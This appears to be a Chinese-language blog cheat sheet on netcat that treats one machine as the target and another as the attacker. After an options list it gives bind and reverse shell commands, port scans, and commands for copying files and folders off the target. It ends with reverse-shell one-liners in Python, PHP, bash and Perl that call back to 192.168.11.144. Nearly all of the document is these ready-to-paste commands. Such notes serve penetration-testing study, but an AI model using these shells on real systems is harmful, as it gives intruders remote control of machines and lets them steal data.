netcat的使用

nc的使用

options:
 
-d              无命令行界面,使用后台模式
 
-e prog          程序重定向 [危险!!]
 
-g gateway       源路由跳跃点, 不超过8
 
-G num          源路由指示器: 4, 8, 12, ...
 
-h              获取帮助信息
 
-i secs           延时设置,端口扫描时使用
 
-l               监听入站信息
 
-L              监听知道NetCat被结束(可断开重连)
 
-n              以数字形式表示的IP地址
 
-o file           使进制记录
 
-p port          打开本地端口
 
-r               随机本地和远程的端口
 
-s addr          本地源地址
 
-t               以TELNET的形式应答入站请求
 
-u              UDP 模式
 
-v               显示详细信息 [使用=vv获取更详细的信息]
 
-w secs          连接超时设置
 
-z               I/O 模式 [扫描时使用]
 
端口号可以是单个的或者存在一个范围: m-n [包含值]。
远程控制

A:靶机 B:攻击机

正向:
A:nc -lp 333 -c bash ;也可以用-e cmd.exe或者-e /bin/bash
B:nc 1.1.1.1 333
反向:
B:nc -lp 333
A:nc 1.1.1.1 333 -c bash

注:Windows⽤用户把bash改成cmd;

端口扫描

nc -nvz 1.1.1.1 1-65535
nc –vnzu 1.1.1.1 1-1024

传输文件

攻击机从靶机下载文件
A:nc -nv 1.1.1.1 333 < 1.mp4
B:nc -lp 333 > 1.mp4
攻击机传输文件到靶机
B:nc -lp 333 < a.mp4
A: nc -nv 1.1.1.1 333 > 2.mp4

传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf –

目标没有nc时
(python)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

本地:nc -lvp 333

(php)
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

(bash)
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

(perl)

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

上一篇:C Primer Plus第六版第十章编程第三题


下一篇:jQuery常用案例练习